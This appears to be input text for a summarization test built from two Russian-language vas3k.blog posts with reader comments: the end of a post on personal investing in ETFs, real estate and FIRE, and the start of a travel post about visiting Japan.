нужно учиться мировой экономике с нуля. При этом содержимое портфеля открыто для всех, потому другие умные люди успели его проанализировать и дали свои оценки — скам в нём не спрячешь. Не нужно покупать акции целиком, можно размазывать. Нет смысла покупать 1 акцию Google за $3000, когда можно размазать их по всему айти. Если Google нафакапит с новым Андроидом и временно упадёт, то Apple от этого пойдёт вверх и ты не проиграешь. Вот умные люди из первого пункта как раз уже продумали такие вещи. Короче, это как у бабки в мясном ларьке — зачем брать большую палку колбасы, когда можно попросить нарезать тебе понемногу самых вкусных! ETFки позволяют мне получить зарплату и сказать «вот эту честно заработанную €1000 я хочу равномерно вложить во все крупные компании мира, шоб росло заебись». И растёт. И заебись. И не надо самому думать в какие конкретно компании. Кому же хочется думать — есть специальные ETFки типа «вся экономика Азии», или «мировой биотех», или «только развитая Европа» («вся Европа» тоже есть отдельно). Есть и совсем дикие, например «халяльная ETF» — туда входят только компании, соответствующие нормам шариата, еще есть «CO2-нейтральная ETF» — компании, которые полностью компенсируют загрязнение окружающей среды. Короче, каждый найдёт себе по вкусу. Простите мой немецкий банк, у вас интерфейсы явно выглядят лучше, я просто хочу показать как выглядит ETF изнутри. Вот, например, тут 100% акций, бумаги Google и Apple в топе, по странам половина Америки, половина — остальные. По областям разбивка тоже видна — технологии, недвижка, финансы и прочее. Даже рисуют под какой стиль инвестирования данный фонд подходит (риск vs доход + краткосрок vs долгосрок). Дивиденды тоже «умные» — от €75 реинвестируются обратно, чтобы избавить тебя от налога на доход. Комиссия 0.22%, что по местным меркам достаточно много, как раз за «умность», в S&P 500 вкладываться дешевле. 9 комментариев 6 Aidar Garafutdinov С ETF надо учитывать что они дают выгоду на очень длинном горизонте. Если посмотреть график SP500 то там видно что он может проседать на несколько лет из-за различных кризисов. Как говорится "купил на хаях - прокатился на ..." 19 Misha Chinkov ещё один скрытый плюс ETF-ок – обход всяких NDA, на которые можно наткнуться в своей карьере мне вот одно время нельзя было инвестировать в индивидуальные акции компаний, так как моя контора делала данные, которые можно через пятьдесят залуп назвать инсайдерскими – но на ETF соглашение не распространяется, кек 7 Eugene Ilyin Какая разница сколько раз отдавать комиссию, если она в процентах от суммы покупки? 4 Таратухин Илья В России можно получить статус квалифицированного инвестора и так же покупать Vanguard 3 Denis Borisevich Eugene Ilyin, бывает еше flat rate + процент от суммы 2 Павел Щорс Интересно, почему не советуют A2PKXG. Ведь с A1JX52 будут прилетать дивиденды, которые надо будет ручками потом назад закидывать. А первый автоматом это делает внутри себя. Пытаюсь разобраться:) 0 Андрей Доманский вижу что у Vanguard All-World есть две разные версии, с выплатой дивидендов и с реинвестицией. на картинке вроде как с выводом, а в тексте реинвестиция. это бонусная фича от брокера? 2 Anton Arkhipkin Павел Щорс, в начале прошлого года я стоял перед таким де выбором и решил вливать в A2PKXG. Но до сих пор не в курсе, что лучше)) 1 Mykola Harmash Если я не ошибаюсь 75€ никак не связаны с налогом на доход, это какой-то внутренний лимит ING для фичи ре-инвестированя. А так налог на прибыль от продажи акций и выплаты дивидентов в Германии фиксированый (~25% после превышения порога в 801€) и удерживается самим брокером при выплате. Поправь меня если не прав, может чего-то не знаю, хотел бы разобраться. Войти и написать Благодаря такой прозрачности, ETFки имеют настолько здоровую репутацию, что даже Европейский банк разрешает использовать их для пенсионных сбережений. ? У нас на почте в Берлине вообще висит реклама каких-то местных ETF для пенсионеров, я сначала думал пирамида, а там всё без шуток! Я инвестирую по самой классике — в ETFки от Vanguard. Нет ничего более скучного и простого. Фонд Vanguard по сути и придумал формат ETF в 1975 году, сделал неплохие подборки по разным рынкам, а при ковиде они вообще разогнались напридумывали совершенно диких ETFок, которые состоят из других своих же ETFок. Специально для любителей еще более высоких уровней абстракций. Матрёшки из матрёшек. Там ты вкладываешься уже не «куда-то», а просто в «хочу 80% самых топовых акций и 20% облигаций, решите там за меня». Хотя у таких «умных» ETF комиссии немного выше. Но это всё равно доли процента, а не российские традиционные обдираловки с 2-5% + фикс за транзакцию. Всегда смотрите комиссии в первую очередь! Снова буду мучить вас нашими интерфейсами из 90-х Рост за три года, даже включая «ковидный провал», когда все рвали волосы В свой первый год я инвестировал только в S&P 500 и All-World ETF. По сути тупо в индексы. Получилось заебись, особенно на постковидном росте. На второй-третий год я осмелел и даже решил повыпендриваться с регионами. Вот верю я в рынки UK+DE+CH — взял, верю в азиатское айти — взял, на сдачу купил американских облигаций на долгосрок, что-то там еще по мелочи. Просто как по книжке — выбрал стратегию и стабильно ей следую, а не жду падений. Открываю ордера с каждой зарплаты, а когда они там исполняются — похер. Ведь если всегда пытаться покупать только на низах — это уже трейдинг и казино, а долгосрочные инвестиции — это исключительно холодная тактика. Хотя, чего греха таить, я иногда разрешаю себе вольность немного дозакупиться на распродаже, когда рынки летят вниз после новости о каком-нибудь «дельта» или «омикрон» вирусе. Но это скорее guilty pleasure. Так и живу. Никого не агитирую. Мне просто своё спокойствие важнее и приятно открывать портфельчик раз в месяц, чтобы всегда видеть зелененькие циферки. Вы же сами решайте. Когда я пытался «играть» в акции, мои будни выглядели примерно так Главный же минус ETF — говорят, в России с ними туго. Нормальные ETFки типа того же Vanguard'а на российские рынки завозить не собираются (хотя и была пара прецедентов в 2013-м и 2016-м, но совсем бесполезных), а своим пока доверия нет. Я сам плохо знаком с русским рынком, так что делать какие-то выводы об «отечественных заменителях» я лично не могу. Мало ли где там родные банкиры накосячили пока в спешке обводили тот же Vanguard. Отправлять же огромные суммы килорублей всяким оффшорным посредникам тоже бы зассал. Так что не знаю даже, сорян. upd: комментаторы подсказывают, что ЦБ РФ в апреле 2022 планирует пустить на рыночек хорошие зарубежные фонды, так что держим кулачки и наблюдаем Для меня же лично доступ к европейским ETFкам, фондам и прочим новым финансовым инструментам вообще стал тем редким плюсом, который дал мне переезд в Европу. А никакие не велодорожки ваши. upd: друзья убедили, что для живущих в Германии надо дать рефералку на ING чтобы нам всем выдали бесплатных трейдов. Решил забить на хейтеров, которые начнут щас орать, что вся статья кем-то проплачена, вот линк: https://www.ing.de/depotkwk/a/CaLH7SVAiB 5 комментариев 8 Aidar Garafutdinov В России основная проблема с ETF это конские комиссии за обслуживание у фондов. Минимальная что-то около 0.7%. Средняя по рынку около одного процента. 7 Ivan Boldyrev Фонды как раз завозить собираются, обещают этой весной. 47 Александр Савиных Смешно читать про "то, что ЦБ РФ в апреле 2022 планирует пустить на рыночек хорошие зарубежные фонды" - в марте 2022... 0 Человег Олег Александр Савиных, и вкусно и грустно) 8 Elias Nichupienko Александр Савиных, в августе еще более смешно Войти и написать 🏚 Самый консервативный: недвижимость Метод работает, когда вам повезло жить в городе, который растёт и не планирует останавливаться. Это когда каждая следующая арендная квартира снова вызывает шок «а чо так дорого-то!» :) Ипотечные кредиты всегда самые дешевые, а недвижка всегда растёт, особенно в кризисы и пандемии, даже когда всё остальное падает. Недвижку может обрушить разве что война или катаклизм, но этот риск уже оценивайте сами. Так что если вам лень просто смотреть на деньги, можно попробовать и прокатиться на низких процентных ставках (а после кризисов они всегда низкие), взять инвестиционное жилье, а может даже сдавать его приезжим и оплачивать этими же деньгами его же ипотеку. Вигода. Просто надо быть готовым к приключениям, как и в любом бизнесе. Либо нанять администратора за 1-2 месячные цены аренды и забить. Главное чётко разделять, что ты именно инвестируешь в недвигу, а не покупаешь себе ГнЁзДыШкО, в котором собираешься строить очаг и растить детей. Это абсолютно разные категории жилья и больше всего профига приносит именно то, где бы ты сам жить не стал. Мы осознали силу ипотек примерно на третий год жизни в Берлине. У нас прошла стадия «ебать, а чо квартиры-то дорогие такие, пиздец какой» и началась «смотри как недвижка растёт, давай срочно купим девятиэтажку и будем сдавать её айтишникам, которые валят сюда с каждым годом всё больше, глупцы». На первом этаже сделаем коворкинг и детский сад — два самых запрашиваемых в городе места. Уже подбираем себе девятиэтажку. Инвесторы, пишите! Ну а если без шуток, то даже просто пустующая недвижка в ебически растущем городе, растёт по цене быстрее, чем ваши банковские вклады. Я как-то достал статистику цен по Берлину и просто рыдаю, что не родился лет на 10 раньше. 4 комментария 12 Евгений Бурмистров ЪУЪ опять реклама купить однушек у берлинского метро и сдавать 5 Sam Spiridonov Это был старый совет какого-то умного финансиста много-много лет назад: самое лучшее вложение в недвижимость — однушки в городе с хорошими университетами :) 32 George Jejeya а чё там в США ебанулось-то в нулевых, не недвижка ли? Мне же Марго Роби в том фильме объясняла, что она 23 Anastasia Klimova В России все еще выгоднее перевести деньги на квартиру в баксы, можно даже никуда их не вкладывать, и через 10 лет сумма от продажи этих баксов будет больше, чем стоимость квартиры, даже если она все это время росла. А если учесть, что государство начинает хитрить с кадастровой стоимостью и непонятно, что там будет с налогами на имущество, если ты покупаешь вторую квартиру в целях сдачи в аренду (кстати, реестр арендаторов тоже собираются вводить, так что сдавать в черную, как раньше, не выйдет, государство нойдет способ забрать свои налоги, а это минус к доходности), то нафиг это все надо, лучше реально проинвестировать в себя, язык, переезд в страну с доступом к иностранным ETF. Войти и написать Покупаю в то, во что верю сам Часто вижу в статьях совет — всегда полагайтесь на холодную статистику и рекомендации экспертов и не покупайте «что нравится». Вот говорят вам эксперты, что в следующем году рынок лесных орешков подрастёт — значит бросайте все деньги в грёбаный фундук! Наверное, такой подход и может работать, когда вы лорд-инвестор в третьем поколении, и вокруг вас армия личных аналитиков на зарплате. В противном же случае, я не знаю каким образом мне анализировать такие «сигналы» — просто верить предсказаниям на слово? Каждый раз разбираться в области, в которой я ничего не понимаю? Ой да нахер надо. Своим поцанам я рассказываю обратное: я вкладываюсь туда, во что верю и чем пользуюсь сам. Вот верю я в биотех — включу немного биотеха в свою стратегию на этот год, посмотрим. Люблю геймдев — пойду найду ETFку с крупнейшими игровыми компаниями мира, закину ребятам. А про урожай орешков в Южной Америке я ничего не знаю. Если обосрусь — хотя бы буду знать почему. Как и с ETFками, здесь я полный олдскул — покупаю компании и сферы, которые действительно хочу поддержать, а не которые хвалят аналитики в итогах года. Фу, блять, аж 1920-м запахло. 2 комментария 5 Ваня Ливадный Люто плюсую. Это ещё и ценностная часть для меня — ну не хочу я инвестировать в Газпром, какие бы там какосеки не обещали. Хочу инвестировать в то, что считаю ценным. 5 Denis Kachnov Странно стыкуется с ETF-ками на широкий рынок, в которых как раз "Газпромы" составляют солидную часть и принцип "«хочу 80% самых топовых акций и 20% облигаций, решите там за меня»". Но пусть, окей, типа диверсификация ;-) Войти и написать Заключение: как ты относишься к FIRE? FIRE — «Financial Independence, Retire Early», популярная у white tech bros с реддита концепция инвестиций своих огромных зарплат ради раннего выхода на пенсию Отношусь как к своим детским планам стать космонавтом — красиво только в мечтах. Хотя мне понравилось, как сформулировал Паша Комаровский, в одном из постов: FIRE — это не про накопить денег, чтобы ничего не делать, а про накопить денег и делать что хочешь. Такой подход мне ближе. Я воспринимаю FIRE именно как FI без RE. То есть возможность отказаться от постоянного найма и делать то, что нравится — брать те проекты, которые считаешь важными, а не те, за которые платят. Делать их прям щас, а не ходить на митинги погрумить следующий спринт. Брать перерывы на пару месяцев когда хочется, а не считать с календарем дни отпуска. Вот такой FIRE имеет для меня смысл, а тупо пенсия с ничегонеделаньем скорее вгонит меня в депрессию. Да, я сейчас выгораю на работе, но от безделья я сгорю не меньше. Мне лично ценна именно свобода в широком смысле, а FIRE понимает её только в финансовом. Наивно и глупо. В мой личный FIRE входит не только состояние лицевого счёта в банке, но и много других аспектов: географический — я всё еще не знаю где бы я хотел остановиться, юридический — я ведь всё еще по факту мигрант, который обязан АРБАЙТЕН ШНЕЛЛЕ ШНЕЛЛЕ, а не счастливый обладатель золотой ложечки и европейского паспорта, ну и еще несколько личных аспектов. В общем, эти вещи тоже надо сначала как-то решить. Опыт показал, что моя свобода, оказывается, не связана напрямую с циферками в банковском приложении. Когда они были меньше — я был даже более свободным. 4 комментария 22 shrimpsizemoose последний абзац топ! 26 Александр Егурнов Для такого подхода уже тоже придумали акроним: FIVE - Financial Independance, Voluntary Employment. 👍 9 Ivan Boldyrev High FIVE! 0 Dmitry Bobrik Retire Early означает, что ты заранее прикидываешь, сколько ещё проживёшь, чтобы рассчитать самому себе "пенсию". Так себе концепция, как по мне. Разве что нафармить денег лет на 200-300 вперед, с запасом. Войти и написать +============== diff --git a/tests/summarization/https___vas3k.blog_world_japan_.txt b/tests/summarization/https___vas3k.blog_world_japan_.txt new file mode 100644 index 0000000..ebbc217 --- /dev/null +++ b/tests/summarization/https___vas3k.blog_world_japan_.txt @@ -0,0 +1,2 @@ +Япония всегда была для меня абсолютно вымышленной страной. Даже когда я смотрел на фотографии из Японии, они напоминали мне скриншоты из какой-то видеоигры про киберпанк или аниме-заставку на телефон. Онеме Киберпанк Ну не могло такое просто существовать в реальности. Когда я смотрю на фотки из Нью-Йорка или Таиланда — я могу себе хотя бы примерно представить, как там люди живут. Когда смотрю картинки из Японии — вообще не могу. Перед поездкой специально смотрел на ютюбе ролики типа «улицы Токио вечером в пятницу» и всё равно не мог поверить, что все эти 125 миллионов (!) человек там реально живут, гуляют, бухают, кошкодевочки вокруг, неон до десятого этажа, музон из супры ебашит ? КАК В СИБИРИ!!! — да не ребячьте меня, это какой-то аниме-фестиваль. А ведь я даже никогда не смотрел аниме, кроме очевидной попсы типа Евангелиона, Гуррен-Лаган, Призрака в Доспехах и Миядзаки. Ну еще с женой в Якудзу играл. На этом мои познания заканчивались. Было практически очевидно, что в конце 15-часового перелёта до Японии, нас просто заведут в белую комнату и будут долго смеяться, мол, ну вы и дураки, реально чтоле поверили во все эти фотографии? Хаха, да это шутка наша. Классический обман. Добро пожаловать в Таиланд. Однако, нет. Япония существует, я проверил. Провёл там больше двух недель в разных городах, пообщался с местными айтишниками и сегодня принёс вам свои дилетантские впечатления. Вдруг вам тоже захочется. Я тут всё перепутаю, конечно, но в комментах поправят. Подзаголовок моего блога про «выживание в киберпанке» в этом посте раскрывается с неожиданной стороны. Комментировать Войти и написать Виза 🇯🇵 Если вы не гражданин страны первого мира, в Японию вам нужна виза. Она простая, но ей придётся озаботиться заранее. Долгих два года вся Япония была полностью закрыта для туристов из-за ковида. Туристические визы начали заново выдавать только с ноября 2022 и спрос на них до сих пор небольшой. Мы были одними из первых. Рекомендую тоже успеть пока тихо. Минусы японской визы: нужно заранее купить авиабилеты и составить «план поездки». Плюсы: виза абсолютно бесплатная, желающих её получить немного, а Японцы в консульстве максимально гостеприимны и всеми силами стараются помочь тебе приехать к ним в гости. И даже без записи, просто приходишь! Мы получали визы в Берлине. Процесс занял 4 дня, как и обещали. Японцы как никто ценят точность. 1. Билеты. Самая большая боль, в основном из-за цен. До ковида в Японию спокойно можно было летать за €500 туда-обратно. Мы летели за €900 и даже это считалось неплохо по нашим временам. Сейчас средние цены от тысячи, так что готовьте кошелёчки. Первая страница нашего плана для примера 2. План поездки. Шаблон есть прям на сайте посольства. Просто рассказываете в какие города вы планируете поехать, где будете ночевать и «какие достопримечательности» смотреть. Очевидно, никто не будет следить, чтобы вы смотрели только описанные достопримечательности и посещали только согласованные города. Это скорее такой «тест на дэбила» — ты показываешь, что понимаешь куда едешь и что не будешь спать на улице. Если шиканёшь и напишешь, что «хочешь пожить в рёкане и посетить онсен» — то дальше, наверное, даже не читают, ты по-умолчанию свой. Шаришь. План вам всяко будет нужен и самим, особенно если вы в первый раз, так что сделайте домашнюю работу ДО получения визы, а не как обычно. Без плана нам бы в Японии было и правда тяжело. 3. Денежки. Нужно «любое подтверждение, что у вас есть деньги на поездку». Чтобы японцы потом не тратили свои деньги, чтобы вас депортировать домой. На деле хватает обычной выписки из банка или, как в нашем случае, пейслипа с последней зарплаты. Дальше вы топаете ножками в ближайшее консульство. Очередей там нет, ибо Япония не самая популярная страна для туризма. Отдаёте анкеты, паспорта и всё остальное милым японцам внутри, они всячески вам радуются, кланяются, проверяют, чтобы не было ошибочек, и говорят «приходите через 4 дня, оригато годзаимас». Денег никаких не берут. С каких-то пор Япония отменила сборы за визы и покрывает их сама. Кто-то мне сказал, что они таким образом стараются стимулировать туризм после Фукусимы, но я не проверял. Самое приятное, что если вы едете большой компанией (мы ехали вчетвером) — в консульство можно отправить только одного со всеми паспортами и планом. Забирать тоже. Всё это крайне экономит время. Открыли новый загран хорошей визой. Нравится! В первый раз визу дают одноразовую на 30-90 дней, но не под дни поездки, как любит делать Шенген, а в сумме ? например, мы просили на 10-26 декабря, нам дали на 30 любых дней до конца января . Что тоже удобно, если изменились планы. Короче, процесс максимально нежный, ничего страшного. 6 комментариев 77 Константин Игоревич Наконец узнал как выглядит Василий) 11 Влад Грачев Читаю про 900 евро и рыдаю. В 2020 году летал за 700. Сейчас смотрю цены, и надо отдать минимум тысячи полторы, и потом ещё два дня лететь и пересаживаться в одну только сторону. А вроде совсем недавно реально JALом за 500 можно было прямой взять... 40 Irina Mitaenko А как же с прививками? Какие были условия? 23 Maks Цены скорее всего не из-за ковида, а из-за войны, потому что лететь приходится в обход России и Украины. Раньше (в 2019) трип занимал часа на два-три меньше. 6 Pavel Liashkov Там все варианты подорожали, даже южные через Дубай или Доху 0 Кирилл Т Сейчас есть специальные калькуляторы, смотреть что выгоднее. И jr pass теперь не выгоден вовсе :( Войти и написать 💀 Перелёт Самое жесткое во всей поездке в Японию — добраться до самой Японии. Ничто не сравнится с тем пиздецом, который вам предстоит пережить. Готовьтесь. Это жестче, чем трансатлантика. Включая джетлаг. Даже просто по времени: «Франкфурт — Лос-Анжелес» — это 11-12 часов перелёта, а «Франкфурт — Токио» — ПЯТНАДЦАТЬ, блять, да и тот скорее всего задержат. Раньше рейсы Европа-Япония использовали Сибирский Коридор, хоть и платили за него использование огромные деньги, но это было удобно. После же начала войны, Россия закрыла его, типа в ответ на санкции. Теперь варианта два — долгий путь по низу через Турцию, Грузию, Казахстан и Китай, либо махнуть через Северный Полюс и Камчатку. Что самое забавное — нас провезли обеими путями. Теперь мы шутим, что на свозили в кругосветку без нашего ведома. ? Да-да, я знаю, что кругосветкой считается минимум два пересечения экватора, да и пофиг. Вжух, мы летим туда (ладно Россию, там Северную Корею еще смешно облетали) Вжух, мы летим обратно и смотрим северные сияния в окошке (те же 15 часов) Вторая проблема: авиация после ковида — как твиттер после Илона Маска Спустя три года урезания костов, очевидно, сломалось вообще всё. Ни один из наших рейсов не прилетел вовремя. Новые же рейсы, которые должны были заменить старые, тоже отменяли, потому что ломались самолёты. На пути туда мы просидели в аэропорту Шарля де Голя шесть часов, на пути обратно — ТРИДЦАТЬ. И это не какая-нибудь региональная авиакомпания, это KLM и AirFrance. Не зря они в альянсе SkyTeam вместе с Аэрофлотом. SkyTeam полностью понимает, что они на нищебродском «втором месте» после Star Alliance, потому даже не стараются. Помните я шутил, что не захотел ими лететь в Южную Африку и выбрал Qatar? Вот вам и причина ? либо они прочитали мой пост и решили отыграться, мы никогда не узнаем . Короче, готовьтесь к худшему. Зато на рейсе в Японию наливали мисо-суп прям из чайничка. Но почему-то стюардесса AirFrance предлагала его только пассажирам азиатской внешности, из-за чего нам, круглолицым ванькам, пришлось кричать ей вслед «ээээ, мы тоже хотим!», чтобы получить заветную горячую и солёную мисо-жижу. Ммм. Было вкусна. Но чо за расизм-то? ✈️ Для тех, кто нечасто летает: ночью, когда все спят, можно самому пойти на кухню в самый хвост самолёта и там часто можно найти остатки снеков, кофе и мисо-супа, а также попросить винишка или доп еды. Иногда там образуются целые тусовки неспящих. Рекомендую. Но вообще в Японию правильно летать на Japanese Airlines (JAL). Они дорогие, но дотошные до мелочей, и «типичного европейского сервиса» себе не позволяют. У них даже эконом это как премиум в KLM. 5 комментариев 7 shrimpsizemoose а всякие airhelp после ковида так же активно работают как и раньше? можно эти все задержки как-то скомпенсировать? 10 Cooch KLM по-моему вообще дно 28 Влад Грачев В том же 2020 году когда возвращались в полупустом самолёте JALа — было охуенно. Люди спят, занимая по три кресла, стюардессы ходят со своими «Сумимасен, давайте мы вам принесём ещё пива и снеков, а то их девать куда-то надо, ну пожалуйста, ну хотя бы ещё баночку выпейте, ну снеки хоть с собой возьмите что ли» 21 Sergey Petrov Те кто летал аэрофлотом в курсе что правильно произносить "альянс скотин", собственно других туда и не берут 10 Alex Mamonchik мммм... японские авиалинии... когда стюардесса предложила и принесла маленькие бутылочки французского вина, да еще и на выбор - вот тогда мы поняли, что летим на другую планету. Именно в самолёте мы нерешительно познавали технологичные японские унитазы и невероятно тонкую и никчемную туалетную бумагу. Войти и написать 日本 Япония для чайников 🔰 Так как Япония всё еще вымышленная страна, я начну с гайда по ориентированию на местности. По прилёту в Японию вас встретит ваш старый бухой друг — джетлаг. Он будет сопровождать вас дня три, причём больше всего разбуянится ко второму, так что лучше сразу закладывайте первые дни на неспешные прогулки по городским достопримечательностям, а не марш-броски на гору Фудзи. Итак, три базовых места, важных для выживания в Японии. 2 комментария 11 Sergei Vedernikov Если хочется быстрей пережить джетлаг - таблетки с мелатонином отлично спасают. В РФ покупал Мелаксен, когда летал в штаты. В Европе тоже чот подобное продают, но надо искать по ключевому слову "мелатонин" :) 18 Oskar Sharipov Sergei Vedernikov, с комментарием согласен, но на всякий случай прилинкую большую статью про мелатонин. Потому что такие штуки лучше не пробовать "просто по рекомендациям в интернетике": https://www.lesswrong.com/posts/E4cKD9iTWHaE7f3AJ/melatonin-much-more-than-you-wanted-to-know Войти и написать 🥟 1. Конбини Японское сокращение от «Convenience Store» (у них нет звука «v») или по-нашему «ларьки на углу». В отличии от Европы, где кроме сигарет и пиваса в них ничего не найти, у японцев это настоящие спасительные островки, когда нужно что-то схавать, попить или купить тёплые носочки. Многие японцы даже на обед ходят в конбини, потому что это дешево, быстро и в целом неплохо. На кассе можно взять горячий пирожок или пельмешков, а в теплодильнике ? японский аналог холодильника, только он греет продукты, охуенно же схватить кофе-чай-мисосуп любых видов. В углу любого конбини есть места, где можно всё это безобразие в одиночестве сожрать. И еще бесплатный кипяточек. Вдруг у вас в кармане завалялся пакетик мисо-супа — заварите, вот, пожалуйста. Вот вот кекаете, а через неделю в Японии у вас в кармане вполне вероятно окажется пакетик мисо-супа. Я сам не знаю как это работает. Конбини — идеальные места для заебавшихся путешественников, которым нужно быстро в себя закинуть что-нибудь горячее и с мясом. Онигири на завтрак Так что рекомендую сразу купить себе всяких онигири на завтрак. Пиво и сигареты там тоже есть, да. Два самых популярных конбини — Seven-Eleven (да-да, тот самый, но тут он норм) и Family Mart. Между ними постоянно идёт борьба, мнения сильно расходятся, так что попробуйте оба. Так выглядит человек после 20+ часов перелётов и джет-лага, купивший себе булочку на пару с мясом ночью в конбини 8 комментариев 10 shrimpsizemoose на коврике такой паттерн как будто что-то неприличное заблюрено! %) 17 Константин Игоревич Пожалуй понял главный атрибут киберпанковости - иероглифы! 10 ilka А как же Lawson 🥺 28 aTan Не припомню, что б хоть раз видел мисо-суп в теплодильнике. За 3 года жизни здесь и 4 тур-поездок, пакетиков с мисо-супом как то не завалялось (в кафешках всегда с удовольствием его ем). Места присесть и поесть внутри - есть далеко не во всех, а как правило в тех, что расположенны в оживленных районах. Скупатся в комбини тоже особо не ходят - они крайне удобны, тем что расположены везде (особенно у отелей), как правило работают 24/7 и там действительно большой ассортимент. Но и цены там заметно выше обычных супер-маркетов. Бенто там тоже менее вкусные чем в полноценных супер-маркетах, даже когда туристом ездил, редко их брал из-за этого (они ни в коем случае не плохие, просто магазинные слишком хорошие). Когда нужно быстро перекусить, то всегда беру именно паровые булочки - они там очень вкусные и сытные. Еще стоит упомянуть, что комбини для местных включает еще кучу функций, как: Оплата счетов, Талонов на вывоз крупногабаритного мусора (здесь чемодан просто так не выкинешь - нужно на него лепить бланк об облате на утилизацию) Банкоматы, Оплата билетов. Только в прошлом месяце в 23.40 вспомил что дедлайн оплаты билетов в полночь и пришлось идти в ближайший (карто 29 aTan Неудобно, что нельзя редактировать сообщения. Выше случайно отправилось и теперь не пофиксить. В общем о комбини очень много можно писать. Еще из полезного/интересного: Принтер-сканер Отправка факса (да, в Японии даже сейчас это иногда нужно) 43 Евгений Seven-Eleven в русскоязычном экспатском простонародье ласково называют "Семёрочкой" 6 Александр Волков Теплодильник! Я такие в Новосибирске помню – в них "кофе" в алюминиевых банках продавали во всяких минимаркетах 3 4slepenkov Даа псевдокофе из теплодильника в ТЦ Академгородка Войти и написать 🎰 2. Автоматы с напитками Они в Японии на каждом углу и будут сильно выручать вас когда вам захочется тёплого в мороз или лимодана в жару. Уличные автоматы с напитками — важная скрепа японского социума. Любая бутылочка спасительной жижи стоит 100-150 иен, что по текущему курсу 0.7 евро или по-нашему «фигасе дешево, бери три». В каждом автомате есть как холодные так и горячие напитки (теплодильник!), так что не перепутайте. Кофе в них, конечно, говно, напоминает 3-в-1, но в Японии вообще тяжело с кофе, так что вы привыкните. А вот чай с молочком или лимонадики с алое-вера — збс. 7 комментариев 31 Alex Картинка ниже с автоматами - как будто я котика в Stray выгуливаю! 1 denis kolosov "лимодан" -- это опечатка или так задумано?) 5 Anna Belkina Горячие напитки обычно заряжают в автоматы только в холодное время года. Кое-где горячий чай можно найти круглый год, но вот суп - точно только осенью/зимой. 22 Sudden Def Я аж залогинился, чтобы возмутиться по поводу кофе в Японии! В стране, откуда пришла вся эта требуха с воронками и пуровером! Опять Вастрик неправильный пост написал :) Но если серьезно, то с кофе там все в порядке, однако выпить баночку жижи из тепломата пока куришь под мостом с салариманами — это guilty pleasure такое. 2 aTan Sudden Def, поддерживаю. 70-80% того, что беру в автоматах - кофе, когда холодно или голодный и нужна порция сахара) В остальных случаях как правило беру просто воду. Вот чай как раз с автоматов не заходит. Еще иногда можно попасть на вещи вроде супа. С месяц назад было полезно, так как гулял в пром. районе, где даже до комбини было минимум пол часа быстрой ходьбы. А еще, автоматы есть даже на склонах Фудзиямы)) 3 Alexey Larionov и еще код этих автоматов с большой вероятностью написан на Ruby :) 1 Алексей Заславский бело-синие банки холодного чая с молоком это просто блаженство! самый вкусный чай! Войти и написать Те самые спасительные автоматы с напиточками 🚇 3. Станции метро Как бы банально ни звучало, но станции метро в Японии — это тоже спасительные островки, особенно когда нужен туалет. Я серьезно не понимаю почему остальные страны до этого не додумались. Да, человеки физиологически несколько раз в день хотят жрать или срать. В метро же есть вся инфраструктура для этого, оно же физически под землей, рядом с канализацией. Но нет же, если в Европе ты должен бегать искать мелочь на уличный туалет или идти унижаться в ближайшем ресторане. Што? В Японии ты просто сделали туалеты в метро, по уровню не хуже аэропортовских. Тут же на станции можно купить горячей еды в конбини, снять наличку в автомате и даже купить знаменитую жилетку в подземном Uniqlo. ? Или «уникоро», как они его называют. Мы тут в Европе, получается, ебанутые, чтоле? На некоторых станциях метро есть даже специальные будки, куда вы можете сесть с ноутбуком, чтобы провести «экстренный рабочий созвон»! 13 комментариев 68 shrimpsizemoose не ну всё это точно какая-то придуманная вымышленная страна, как в такое верить вообще 24 Евгений Бурмистров слишком офигенно. так нельзя! 15 denis kolosov я нашел в японском метро туалете бумажный пакет с порно двд дисками. до сих пор не понимаю, что они там делали 4 aTan Еще ориентир для єкстренного поиска туалетов - парки и мосты. Они около них почти всегда есть. И они в среднем относительно чистые (особенно в ТЦ, но там вообще в половине случаев они с подогревом идут). 5 Данил Николаенко В стамбульском метро тоже есть туалеты. Всего одна лира, платить можно метрошной карточкой) 3 Dmitrii 'Mamut' Dima В Швеции метро есть на всех станциях метро и пригородных поездов, но про это надо знать и просить станционного смотрителя его открыть. В центре это так же стоит 10 SEKелей вроде. Но они все не особо маркированы, и кажется, что их нет :) 5 Mikhail Chinkov насчет Европы: полтора года назад нашел туалет в U-Bahn Штуттгарта, пошел поссать, нашел в своей кабинке лежащий шприц с кровью – maybe that's why 2 Tim Sattarov Европа вообще в плане туалетов тот ещё трэшак. Даже по сравнению с Северной Америкой. А в Ниппонии я смотрю ещё дальше пошли. Одобряю, поедем :) 6 Dima Ollyak @vastrik Ты не поверишь, но туалеты в метро есть в Новосибирске ))) 4 Alexey Kott По блестящим железякам за стеклом эта будка скорее напоминает аналоги Suicide Booth из Футурамы. 5 Anton Markelov В Сеуле тоже почти на каждой станции есть туалеты, и они были чище, чем в большинстве кафе в России. Мы в Европе свернули куда-то не туда. 5 Андрей Лазук В Варшаве бесплатные туалеты в метро, также жабки выполняют роль конвиньенс сторов в каждом квартале. 3 Nikolay Panov Tim Sattarov, что значит даже по сравнению с Америкой? США это, по моему, одна из ведущих стран мира по обеспечению населения бесплатными туалетами везде где можно (и иногда даже там где совсем не ожидаешь). Войти и написать 💴 Нужна наличка! (много) При всей киберпанковости и прогрессивности Японии, кеш в ней сильно обязателен. Ваши «мастеркарды» будут принимать только в больших магазинах и конбини, так что в половине мест скорее всего придётся платить именно кешем. Так что снимите сразу тыщ 50 иен (350 евро), для начала хватит, зато на комиссии сэкономите. На следующем этапе у вас появится проездной и во многих автоматах можно будет платить прямо им. Японцы удивительным образом интегрировали свои проездные как замену банковским карточкам. Но об этом ниже. После ковида курс иены упал, так что теперь Япония стала дешевле и после Германии цены кажутся даже ниже (а после Франции так вообще в два раза). Пиво в магазине — 1.5 евро. Сожрать нажористый рамен в раменной — меньше 10 евро. Сходить в ресторан побогаче — 30+ евро на человека. Очень неплохо, в целом. Япония — удивительно не испорченная туристами страна Тут на редкость мало туристических ловушек, где плохо готовят, а берут втридорога. Даже когда мы ели в самом на вид попсовом заведении прямо на выходе из храма (куда я бы никогда не пошел в той же Европе) — цены на рамен были абсолютно адекватные. Отчасти это тоже последствия падения японской валюты, но мои классические «tourist trap детекторы» в Японии просто не работали. 2 комментария 17 ilka На фотке ниже не Краун (душню чуть чуть), а Century. 12 aTan Под поездным имеется ввиду карты pasmo/suiсa, так как "проездные" это другое, особенно для туристов (не пользовался даже будучи туристом, так как карты тупо удобнее, хоть проездњые и дешевле для туристов). Ими можно оплатить покупки до 20к йен почти везде. В т.ч. во всех комбини и где то 30% автоматов с напитками. Рамен в среднем стоит 1000 йен, что нынче 7 евро. При 